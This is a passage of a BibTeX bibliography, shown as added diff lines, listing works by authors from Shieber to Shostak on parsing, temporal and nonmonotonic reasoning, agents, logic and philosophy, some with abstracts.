Shieber}, + year = {1983}, + title = {Sentence Disambiguation by a Shift-Reduce Parsing Technique}, + institution = {SRI International}, + number = {Technical Note 281}, + topic = {parsing-algorithms;} +} + +@techreport{ shieber-etal:1983a, + author = {Stuart M. Shieber and Susan U. Stucky and Hans Uszkoreit and + Jane J. Robinson}, + title = {Formal Constraints on Metarules}, + institution = {SRI International}, + number = {Technical Note 283}, + year = {1983}, + address = {Menlo Park, California}, + topic = {GPSG;} + } + +@unpublished{ shieber-etal:1983b, + author = {Stuart M. Shieber and Hans Uszkoreit and Fernando Pereira and + Jane J. Robinson and Mary Tyson}, + title = {The Formalism and Implementation of {PATR-II}}, + year = {1983}, + note = {Unpublished manuscript, SRI International}, + missinginfo = {Date is a guess.}, + topic = {parsing-algorithms;unification;} + } + +@article{ shieber:1984a, + author = {Stuart M. Shieber}, + title = {Direct Parsing of {ID/LP} Grammars}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {2}, + pages = {135--154}, + contentnote = {ID/LP is "Immediate dominance/linear precedence".}, + topic = {GPSG;parsing-algorithms;} + } + +@article{ shieber:1985a, + author = {Stuart M. Schieber}, + title = {Evidence against the Context-Freeness of Natural + Language}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {3}, + pages = {333--343}, + topic = {formal-language-theory;nl-syntax;} + } + +@book{ shieber:1986a, + author = {Stuart M. Shieber}, + title = {An Introduction to Unification-Based Approaches to + Grammar}, + publisher = {Center for the Study of Language and Information}, + year = {1986}, + address = {Stanford, California}, + topic = {unification;grammar-formalisms;} + } + +@incollection{ shieber:1987a, + author = {Stuart Shieber}, + title = {Separating Linguistic Analyses from Linguistic Theories}, + booktitle = {Linguistic Theory and Computer Applications}, + publisher = {Academic Press}, + year = {1987}, + editor = {P. Whitelock}, + pages = {1--36}, + address = {London}, + topic = {nlp-and-linguistics;} + } + +@unpublished{ shieber:1989a, + author = {Stuart M. Shieber}, + title = {{CL-PATR} Reference Manual}, + year = {1989}, + note = {Unpublished manuscript, Center for the Study of Language + and Information}, + topic = {parsing-algorithms;unification;} + } + +@article{ shieber-etal:1990a, + author = {Stuart Shieber and Gertjan van Noord and Fernando + Pereira and Robert Moore}, + title = {Semantic-Head-Driven Generation}, + journal = {Computational Linguistics}, + volume = {16}, + pages = {30--42}, + year = {1990}, + topic = {nl-generation;} + } + +@book{ shieber:1992a, + author = {Stuart Shieber}, + title = {Constraint-Based Grammar Formalisms: + Parsing and Type Inference for Natural and Computer Languages}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {grammar-formalisms;constraint-based-grammar;} + } + +@article{ shieber-etal:1996a, + author = {Stuart M. Shieber and Fernando C.N. Pereira and Mary + Dalrymple}, + title = {Interactions of Scope and Ellipsis}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {5}, + pages = {537--552}, + topic = {ellipsis;anaphora;} + } + +@book{ shields:1999a, + author = {Christopher Shields}, + title = {Order in Multiplicity: Homonymy in the + Philosophy of {A}ristotle}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + xref = {Review: matthews:2001a}, + topic = {Aristotle;ambiguity;} + } + +@article{ shih-sproat:2001a, + author = {Chilin Shih and Richard Sproat}, + title = {Review of {\it Prosody, Theory and Experiment: Studies + Presented to {G}\"osta {B}ruce}, edited by {M}erle {H}orne}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {450--456}, + xref = {Review of: horne:2000a}, + topic = {prosody;} + } + +@book{ shils-finch:1949a, + editor = {Edward A. Shils and Henry A. Finch}, + title = {Max {W}eber on the Methodology of the Social Sciences}, + publisher = {Free Press}, + year = {1949}, + address = {Glencoe, Illinois}, + ISBN = {0465017894}, + topic = {sociology;social-science-methodology; + philosophy-of-social-science;} + } + +@book{ shils:1981a, + author = {Edward A. Shils}, + title = {Tradition}, + publisher = {University of Chicago Press}, + year = {1981}, + address = {Chicago}, + ISBN = {0226753255}, + topic = {social-change;civilization;sociology;} + } + +@article{ shimaya:1995a, + author = {Akira Shimaya}, + title = {Interpreting Non-{3-D} Line Drawings}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {1}, + pages = {1--41}, + acontentnote = {Abstract: + This paper shows how to create a small number of natural + interpretations for non-3-D line drawings. If all constraints + are removed, there is an infinite number of possible + interpretations. However, humans instinctively create a limited + number of interpretations. In order to obtain these + interpretations, it is first necessary to check whether the line + drawing requires figural completion. To ensure that natural + figural completion is carried out, restrictions on figural + completion, possible completion paths, and an actual process for + completing figures are introduced. Next, constraints are + introduced to reduce the number of interpretations. These + include constraints concerning line elements, duplication, + connectedness, inclusiveness, closure, good figures, and line + sharing. The results of a psychological experiment show that the + proposed method can create a small number of natural + interpretations that correspond to human visual perception + fairly well. } , + topic = {line-drawings;} + } + +@article{ shimizu-numao:1997a, + author = {Shuichi Shimizu and Masayuki Numao}, + title = {Constraint-Based Design for {3D} Shapes}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {1}, + pages = {51--69}, + acontentnote = {Abstract: + This paper proposes an ATMS-based geometric reasoning system for + feature-based 3D solid modeling. Here, every feature is + described by a set of geometric constraints such as distances + between edges and angles between faces. The system has to + evaluate the constraints in order to determine the attributes of + all the geometric elements in the features. Therefore, the + modeling process can be considered as a constraint satisfaction + problem. Our ATMS-based approach overcomes two serious + drawbacks of conventional rule-based approaches: inefficiency + and poor conflict handling. + For the first problem, a state reduction method, represented as + an ATMS justification, resolves the problem of combinatorial + explosion in the rules' pattern matching. Here, intermediate + states are defined by the degree of freedom: the determined + geometric elements have zero degrees, and free faces, edges, and + vertices have three, four, and three degrees, respectively. Each + constraint invocation reduces the degree; that is, it increases + the level of determinacy of the status. + For the second problem, the ATMS's label update propagation + mechanism resolves conflicts of constraints. It distinguishes + conflicting situations from redundant or under-constrained ones, + and the minimum diagnosis technique detects which constraint + causes the conflict. The use of an ATMS as a propositional + reasoning function has various advantages over rule-based + systems, such as avoidance of infinite loops and reasoning + without pattern matching. + The paper also considers the computational efficiency of our + approach and proves its practicality by presenting data on an + actual product. } , + topic = {three-D-reasoning;geometric-reasoning;truth-maintenance; + CAD;} + } + +@inproceedings{ shimohata-etal:1997a, + author = {Sayori Shimohata and Toshiyuki Sugio and Junji Nagata}, + title = {Retrieving Collocations by Co-Occurrences and Word Order + Constraints}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {476--481}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {collocations;corpus-linguistics;} + } + +@inproceedings{ shimojima:1996a, + author = {Atsushi Shimojima}, + title = {Constraint-Preserving Representations}, + booktitle = {Proceedings of the Second Conference on Information + Theoretic Approaches to Logic, Language and Computation (ITALLC)}, + year = {1996}, + publisher = {Department of Psychology, London Guildhall University}, + address = {London}, + missinginfo = {editor, pages}, + topic = {visual-reasoning;} + } + +@article{ shimony:1994a, + author = {Solomon Eyal Shimony}, + title = {Finding {MAP}s for Belief Networks Is {NP}-Hard}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {2}, + pages = {399--410}, + acontentnote = {Abstract: + Given a probabilistic world model, an important problem is to + find the maximum a-posteriori probability (MAP) instantiation of + all the random variables given the evidence. Numerous + researchers using such models employ some graph representation + for the distributions, such as a Bayesian belief network. This + representation simplifies the complexity of specifying the + distributions from exponential in n, the number of variables in + the model, to linear in n, in many interesting cases. We show, + however, that finding the MAP is NP-hard in the general case + when these representations are used, even if the size of the + representation happens to be linear in n. Furthermore, minor + modifications to the proof show that the problem remains NP-hard + for various restrictions of the topology of the graphs. The same + technique can be applied to the results of a related paper (by + Cooper), to further restrict belief network topology in the + proof that probabilistic inference is NP-hard. } , + topic = {complexity-in-AI;abduction;diagnosis;Bayesian-networks;} + } + +@article{ shimura-george_fh:1973a, + author = {Masamichi Shimura and Frank H. George}, + title = {Rule-Oriented Methods in Problem Solving}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {3--4}, + pages = {203--223}, + topic = {problem-solving;} + } + +@article{ shin_hs:1993a, + author = {H.S. Shin}, + title = {Logical Structure of Common Knowledge}, + journal = {Journal of Economic Theory}, + year = {1993}, + volume = {60}, + pages = {1--13}, + missinginfo = {A's 1st name, number}, + topic = {mutual-belief;game-theory;} + } + +@article{ shin_hs:1996a, + author = {H.S. Shin}, + title = {Logical Structure of Common Knowledge}, + journal = {Review of Economic Studies}, + year = {1996}, + volume = {63}, + pages = {39--60}, + missinginfo = {A's 1st name, number}, + topic = {bargaining-theory;} + } + +@article{ shin_hs:1996b, + author = {H.S. Shin}, + title = {How Much Common Belief is Necessary for a Convention?}, + journal = {Games and Economic Behavior}, + year = {1996}, + volume = {13}, + pages = {252--258}, + missinginfo = {A's 1st name, number}, + topic = {mutual-belief;convention;} + } + +@incollection{ shin_sj:1991a, + author = {Sun-Joo Shin}, + title = {A Situation-Theoretic Account of Valid Reasoning + with {V}enn Diagrams}, + booktitle = {Situation Theory and its Applications}, + editor = {K. Jon Barwise and Jean Mark Gawron and Gordon Plotkin + and Syun Tutiya}, + publisher = {{CSLI} Publications}, + year = {1991}, + address = {Stanford, California}, + pages = {581--605}, + missinginfo = {editor}, + topic = {visual-reasoning;situation-theory;diagrams;} + } + +@book{ shin_sj:1995a, + author = {Sun-Joo Shin}, + title = {The Logical Status of Diagrams}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {diagrams;reasoning-with-diagrams;visual-reasoning;} + } + +@article{ shin_sj:1999c, + author = {Sun-Joo Shin}, + title = {Reconstituting Beta Graphs into an Efficacious + System}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {3}, + pages = {273--295}, + topic = {reasoning-with-diagrams;} + } + +@book{ shin_sj:2001a, + author = {Sun-Joo Shin}, + title = {Iconicity in Logic: Existential Graphs and Heterogeneous + Reasoning}, + publisher = {The {MIT} Press}, + year = {2001}, + address = {Cambridge, Massachusetts}, + topic = {Peirce;existential-graphs;diagrams;} + } + +@book{ shipley:1927a, + author = {Maynard Shipley}, + title = {The War on Modern Science: A Short History of + Fundamentalist Attacks on Evolutionism and Modernism}, + publisher = {A.A. Knopf}, + year = {1927}, + address = {New York}, + topic = {fundamentalism;creationism;} + } + +@article{ shirai:1973a, + author = {Yoshiaki Shirai}, + title = {A Context Sensitive Line Finder for Recognition of + Polyhedra}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {2}, + pages = {95--119}, + topic = {shape-recognition;} + } + +@incollection{ shirai:1984a, + author = {Ken-ichiro Shirai}, + title = {Where Locative Expressions are Located in {M}ontague + Grammar}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {365--384}, + address = {Dordrecht}, + topic = {locative-constructions;nl-semantics;Montague-grammar;} + } + +@incollection{ shirasu:1998a, + author = {Hiroyuki Shirasu}, + title = {Duality in Superintuitionistic and Modal Predicate + Logics}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {223--236}, + address = {Stanford, California}, + topic = {modal-logic;intuitionistic-logic;} + } + +@book{ shneiderman:1987a, + author = {Ben Shneiderman}, + title = {Designing the User Interface: Strategies for Effective + Human-Computer Interaction}, + publisher = {Addison-Wesley}, + year = {1987}, + address = {Reading, Massachusetts}, + ISBN = {0201165058}, + topic = {HCI;} + } + +@book{ shneiderman:1992a, + author = {Ben Shneiderman}, + title = {Designing the User Interface: Strategies for Effective + Human--Computer Interaction}, + publisher = {Addison-Wesley}, + year = {1992}, + address = {Reading, Massachusetts}, + ISBN = {0201572869}, + topic = {HCI;} + } + +@article{ shoemaker:1968a, + author = {Sydney Shoemaker}, + title = {Self-Reference and Self-Awareness}, + journal = {Journal of Philosophy}, + year = {1968}, + volume = {65}, + pages = {555--567}, + missinginfo = {number}, + topic = {introspection;self-reference;self-knowledge;} + } + +@incollection{ shoemaker:1979a, + author = {Sidney Shoemaker}, + title = {Identity, Properties and Causality}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {321--342}, + address = {Minneapolis}, + topic = {identity-individuation;causality;} + } + +@incollection{ shoemaker:1986a, + author = {Sydney Shoemaker}, + title = {Introspection and Self}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {101--120}, + address = {Minneapolis}, + topic = {philosophy-of-mind;introspection;} + } + +@incollection{ shoemaker:1997a, + author = {Sydney Shoemaker}, + title = {Self and Substance}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {283--304}, + address = {Oxford}, + topic = {personal-identity;} + } + +@inproceedings{ shoham_y1:1986a1, + author = {Yoav Shoham}, + title = {Chronological Ignorance: An Experiment in + Nonmonotonic Temporal Reasoning}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {389--393}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Republication: shoham_y1:1986a2.}, + topic = {nonmonotonic-reasoning;causality;} + } + +@incollection{ shoham_y1:1986a2, + author = {Yoav Shoham}, + title = {Chronological Ignorance: An Experiment in + Nonmonotonic Temporal Reasoning}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {396--409}, + address = {Los Altos, California}, + xref = {Original Publication: shoham_y1:1986a1.}, + topic = {nonmonotonic-reasoning;causality;} + } + +@inproceedings{ shoham_y1:1986b, + author = {Yoav Shoham}, + title = {Reified Temporal Logics: Semantical and Ontological + Considerations}, + booktitle = {Proceedings of 7th {ECAI}, Brighton, U.K.}, + organization = {ECAI}, + month = {July}, + year = {1986}, + topic = {temporal-representation;} + } + +@incollection{ shoham_y1:1986c, + author = {Yoav Shoham}, + title = {What Is the Frame Problem?}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {83--98}, + address = {Los Altos, California}, + xef = {Reprinted, see shoham_y1:1987a.}, + topic = {kr;frame-problem;} + } + +@phdthesis{ shoham_y1:1986d, + author = {Yoav Shoham}, + title = {Reasoning about Change: Time and Causation from the + Standpoint of Artificial Intelligence}, + school = {Department of Computer Science, Yale University}, + year = {1986}, + type = {Ph.{D}. Dissertation}, + address = {New Haven, Connecticut}, + topic = {causality;nonmonotonic-reasoning;temporal-reasoning; + frame-problem;} + } + +@incollection{ shoham_y1:1987a, + author = {Yoav Shoham}, + title = {What is the Frame Problem?}, + booktitle = {The Frame Problem in Artificial Intelligence: Proceedings + of the 1987 Workshop}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Frank M. Brown}, + pages = {5--21}, + address = {Los Altos, California}, + xef = {Reprint of shoham_y1:1986a.}, + topic = {kr;frame-problem;} + } + +@inproceedings{ shoham_y1:1987b, + author = {Yoav Shoham}, + title = {Nonmonotonic Logics: Meaning and Utility}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {John McDermott}, + pages = {388--393}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {nonmonotonic-reasoning-survey;kr-course;} + } + +@incollection{ shoham_y1:1987c1, + author = {Yoav Shoham}, + title = {A Semantical Approach to Nonmonotonic Logics}, + booktitle = {Readings in Nonmonotonic Reasoning}, + editor = {Matthew L. Ginsberg}, + publisher = {Morgan Kaufmann Publishers}, + pages = {227--250}, + year = {1987}, + xref = {Republication: shoham_y1:1987c2.}, + topic = {nonmonotonic-logic;} + } + +@incollection{ shoham_y1:1987c2, + author = {Yoav Shoham}, + title = {A Semantical Approach to Nonmonotonic + Logics}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {227--250}, + address = {Los Altos, California}, + xref = {Original Publication: shoham_y1:1987c1.}, + topic = {nonmonotonic-logic;} + } + +@article{ shoham_y1:1987d, + author = {Yoav Shoham}, + title = {Temporal Logics in {AI}: Semantical and Ontological + Considerations}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {1}, + pages = {89--104}, + topic = {temporal-logic;temporal-reasoning;} + } + +@book{ shoham_y1:1988a, + author = {Yoav Shoham}, + title = {Reasoning about Change: Time and Causation From the + Standpoint of Artificial Intelligence}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + topic = {causality;nonmonotonic-reasoning;temporal-reasoning; + frame-problem;} + } + +@techreport{ shoham_y1:1988b1, + author = {Yoav Shoham}, + title = {Time for Action: On the Relation between + Time, Knowledge, and Action}, + institution = {Department of Computer Science, Stanford University}, + number = {STAN--CS--88--1236}, + year = {1988}, + address = {Stanford}, + xref = {Conference Publication: shoham_y1:1988b2.}, + topic = {temporal-reasoning;kr;planning-formalisms;} + } + +@inproceedings{ shoham_y1:1988b2, + author = {Yoav Shoham}, + title = {Time for Action: On the Relation Between Time, + Knowledge, and Action}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {954--959}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + xref = {Tech Report: shoham_y1:1988b1.}, + topic = {temporal-reasoning;kr;planning-formalisms;} + } + +@article{ shoham_y1:1988c1, + author = {Yoav Shoham}, + title = {Efficient Temporal Reasoning about Rich Temporal Domains}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {4}, + pages = {443--474}, + xref = {Republication: shoham_y1:1988c2.}, + topic = {temporal-reasoning;qualification-problem;frame-problem; + extended-prediction-problem;} + } + +@incollection{ shoham_y1:1988c2, + author = {Yoav Shoham}, + title = {Efficient Temporal Reasoning about Rich Temporal Domains}, + booktitle = {Philosophical Logic and Artificial Intelligence}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + editor = {Richmond H. Thomason}, + pages = {191--222}, + address = {Dordrecht}, + xref = {Republication of: shoham_y1:1988c1.}, + topic = {temporal-reasoning;qualification-problem;frame-problem; + extended-prediction-problem;} + } + +@techreport{ shoham_y1:1988d, + author = {Yoav Shoham}, + title = {Belief as Defeasible Knowledge}, + institution = {Computer Science Department, Stanford University}, + number = {STAN-CS-88-1237}, + year = {1988}, + address = {Stanford, California}, + topic = {belief;knowledge;epistemic-logic;nonmonotonic-reasoning;} + } + +@article{ shoham_y1:1988e, + author = {Yoav Shoham}, + title = {Chronological Ignorance: Experiments in Nonmonotonic + Temporal Reasoning}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {3}, + pages = {279--331}, + topic = {nonmonotonic-reasoning;causality;} + } + +@incollection{ shoham_y1-goyal:1988a, + author = {Yoav Shoham and Nina Goyal}, + title = {Temporal Reasoning in Artificial Intelligence}, + booktitle = {Exploring Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1988}, + editor = {Howard E. Shrobe}, + pages = {419--438}, + address = {San Mateo, California}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@article{ shoham_y1-mcdermott_d:1988a, + author = {Yoav Shoham and Drew McDermott}, + title = {Problems in Formal Temporal Reasoning}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {1}, + pages = {49--61}, + topic = {temporal-reasoning;} + } + +@article{ shoham_y1:1990a, + author = {Yoav Shoham}, + title = {Nonmonotonic Reasoning and Causation}, + journal = {Cognitive Science}, + year = {1990}, + volume = {14}, + pages = {213--252}, + topic = {nonmonotonic-reasoning;causality;} + } + +@techreport{ shoham_y1:1990b1, + author = {Yoav Shoham}, + title = {Agent Oriented Programming}, + institution = {Computer Science Department, Stanford University}, + number = {STAN-CS-90-1335}, + year = {1990}, + address = {Stanford, California}, + xref = {AIJ Pub shoham_y1:1990b2.}, + topic = {propositional-attitudes;cognitive-robotics;} + } + +@article{ shoham_y1:1990b2, + author = {Yoav Shoham}, + title = {Agent Oriented Programming}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {60}, + number = {1}, + pages = {51--92}, + xref = {Stanford Tech Report shoham_y1:1990b1.}, + topic = {propositional-attitudes;cognitive-robotics;} + } + +@article{ shoham_y1:1991a, + author = {Yoav Shoham}, + title = {Remarks on {S}imon's Comments}, + journal = {Cognitive Science}, + year = {1991}, + volume = {15}, + pages = {300--303}, + topic = {causality;} + } + +@incollection{ shoham_y1:1991b, + author = {Yoav Shoham}, + title = {Varieties of Context}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {393--407}, + address = {San Diego}, + topic = {context;} + } + +@incollection{ shoham_y1:1991c, + author = {Yoav Shoham}, + title = {Implementing the Intensional Stance}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {261--277}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-AI;cognitive-architectures;foundations-of-cogsci;} + } + +@incollection{ shoham_y1:1992a, + author = {Yoav Shoham}, + title = {Multiple Mental Attitudes in Agents}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {106--107}, + contentnote = {Introduction to a panel on modeling mental states.}, + address = {San Francisco}, + topic = {agent-attitudes;} + } + +@inproceedings{ shoham_y1-tennenholtz:1992a, + author = {Yoav Shoham and Moshe Tennenholtz}, + title = {On the Synthesis of Useful Social Laws + for Artificial Agent Societies}, + booktitle = {Proceedings of the Tenth National Conference on + pages = {276--281}, Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {distributed-systems;social-choice-theory;artificial-societies;} + } + +@incollection{ shoham_y1-tennenholtz:1992b, + author = {Yoav Shoham and Moshe Tennenholtz}, + title = {Emergent Conventions in Multi-Agent Systems: Initial + Experimental Results and Observations}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {225--231}, + address = {San Mateo, California}, + topic = {multiagent-systems;convention;} + } + +@article{ shoham_y1:1993a, + author = {Yoav Shoham}, + title = {Agent-Oriented Programming}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {60}, + number = {1}, + pages = {51--92}, + topic = {knowledge-based-programming;agent-oriented-programming;} + } + +@unpublished{ shoham_y1:1995a, + author = {Yoav SHoham}, + title = {Some Recent Ideas on Utility (and Probability)}, + year = {1995}, + note = {Unpublished manuscript, Department of Computer Science, + Stanford University.}, + topic = {qualititative-utility;qualitative-probability;} + } + +@article{ shoham_y1-tennenholtz:1995a, + author = {Yoav Shoham and Moshe Tennenholtz}, + title = {On Social Laws for Artificial Agent Societies: Off-Line + Design}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {231--252}, + topic = {artificial-societies;} + } + +@book{ shoham_y1:1996a, + editor = {Yoav Shoham}, + title = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + year = {1996}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;} + } + +@inproceedings{ shoham_y1:1997a, + author = {Yoav Shoham}, + title = {A Mechanism for Reasoning about Utilities (and + Probabilities): Preliminary Report}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {85--93}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;foundations-of-utility;multiattribute-utility;} + } + +@inproceedings{ shoham_y1:1997b, + author = {Yoav Shoham}, + title = {A Symmetric View of Probabilities and Utilities}, + booktitle = {Proceedings of the Fifteenth International Joint + Conference on Artificial Intelligence}, + year = {1997}, + editor = {Martha Pollack}, + publisher = {Morgan Kaufmann}, + missinginfo = {PAGES 1324--}, + address = {San Francisco}, + topic = {foundations-of-utility;} + } + +@inproceedings{ shoham_y1:1997c, + author = {Yoav Shoham}, + title = {Two Senses of Conditional Utility}, + booktitle = {Proceedings of the Thirteenth Conference on + Uncertainty in Artificial Intelligence (UAI-97)}, + year = {1997}, + missinginfo = {editor, publisher, address, pages}, + topic = {temporal-reasoning;probabilistic-reasoning;} + } + +@article{ shoham_y1-tennenholtz:1997a, + author = {Yoav Shoham and Moshe Tennenholtz}, + title = {On the Emergence of Social Conventions: Modeling, + Analysis and Simulations}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {94}, + number = {1--2}, + pages = {139--166}, + topic = {coordination;convention;} + } + +@article{ shoham_y2-toledo:2002a, + author = {Yaron Shoham and Sival Toledo}, + title = {Parallel Randomized Best-First Minimax Search}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {137}, + number = {1--2}, + pages = {165--196}, + topic = {diagnosis;temporal-reasoning;} + } + +@article{ shope:1965a, + author = {Robert K. Shope}, + title = {Prima Facie Duty}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {11}, + pages = {279--287}, + xref = {Commentary: } , + topic = {prima-facie-obligation;} + } + +@unpublished{ shopen:1973a, + author = {Timothy Shopen}, + title = {Main Verb Arguments vs. Adverbs and Adjuncts---A Problem + in Defining the Meaning of the Sentence as the Sum of Its + Parts}, + year = {1973}, + note = {Unpublished manuscript.}, + topic = {compositionality;adjuncts;} + } + +@article{ shopen:1973b, + author = {Timothy Shopen}, + title = {Ellipsis as Grammatical Indeterminacy}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {1}, + pages = {65--77}, + topic = {ellipsis;} + } + +@book{ shopen:1985a, + editor = {Timothy Shopen}, + title = {Language, Typology and Syntactic Description, Volume {I}: + CLause Structure}, + publisher = {Cambridge University Press}, + year = {1985}, + address = {Cambridge, England}, + topic = {linguistic-typology;nl-syntax;} + } + +@book{ shopen:1985b, + editor = {Timothy Shopen}, + title = {Language, Typology and Syntactic Description, Volume {II}: + Complex Constructions}, + publisher = {Cambridge University Press}, + year = {1985}, + address = {Cambridge, England}, + topic = {linguistic-typology;nl-syntax;} + } + +@book{ shopen:1985c, + editor = {Timothy Shopen}, + title = {Language, Typology and Syntactic Description, Volume {III}: + Grammatical Categories and the Lexicon}, + publisher = {Cambridge University Press}, + year = {1985}, + address = {Cambridge, England}, + topic = {linguistic-typology;nl-syntax;} + } + +@book{ shore:1996a, + author = {Bradd Shore}, + title = {Culture in Mind}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {language-and-culture;philosophical-anthropology;} + } + +@incollection{ shorter:1965a, + author = {J.M. Shorter}, + title = {Causality, and a Method of Analysis}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {145--157}, + address = {Oxford}, + topic = {causation;} + } + +@article{ shortliffe-etal:1979a, + author = {Edward H. Shortliffe and Bruce G. Buchanan and + Edward A. Feigenbaum}, + title = {Knowledge Engineering for Medical Decision Making: A + Review of Computer-Based Clinical Decision Aids}, + journal = {Proceedings of the {IEEE}}, + year = {1979}, + volume = {67}, + pages = {1207--1224}, + missinginfo = {number}, + topic = {expert-systems;} + } + +@inproceedings{ shortliffe:1980a1, + author = {Edward Shortliffe}, + title = {Consultation Systems for Physicians}, + booktitle = {Proceedings of the {C}anadian Society for Computational + Studies of Intelligence}, + year = {1980}, + publisher = {{C}anadian Society for Computational + Studies of Intelligence}, + missinginfo = {Editor, Address, pages}, + xref = {Republication: shortliffe:1980a2.}, + topic = {expert-systems;medical-AI;} + } + +@incollection{ shortliffe:1980a2, + author = {Edward Shortliffe}, + title = {Consultation Systems for Physicians}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {323--333}, + address = {Los Altos, California}, + xref = {Conference Publication: shortliffe:1980a2}, + topic = {expert-systems;medical-AI;} + } + +@article{ shostak:1976a, + author = {Robert E. Shostak}, + title = {Refutation Graphs}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {1}, + pages = {51--64}, + acontentnote = {Abstract: + A graph-theoretic characterization of truth-functional + consistency is introduced, providing a clear perspective on some + resolution-based systems for deciding formulas in propositional + and first-order logic. Various resolution strategies are + analyzed in terms of ``walks'' about specially defined 